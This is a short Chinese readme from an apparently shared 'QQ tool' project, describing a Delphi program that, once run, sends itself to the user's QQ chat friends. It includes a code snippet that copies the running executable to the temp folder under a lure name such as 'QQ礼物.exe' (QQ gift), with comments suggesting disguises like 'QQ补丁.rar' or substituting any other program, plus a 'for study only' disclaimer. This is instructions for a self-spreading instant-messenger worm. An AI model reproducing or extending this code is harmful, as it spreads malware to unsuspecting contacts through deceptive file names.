说明.txt

来自「QQ工具QQ工具QQ工具QQ工具QQ工具QQ工具」· 文本 代码 · 共 12 行

运行Project1.exe后将自身发送给聊天好友...

修改：

  sTempFile := GetWindowsTempPath(); //Windows临时目录
  sTempFile := sTempFile + 'QQ礼物.exe';   //可更改'QQ礼物.exe'为其它,如'QQ补丁.rar'
  DeleteFile(PChar(sTempFile));
  CopyFile(PChar(ParamStr(0)), PChar(sTempFile), False); //发送自身,可更改ParamStr(0)为其它程序,如c:\QQ.rar

声明：本程序代码只提供用于学习研究。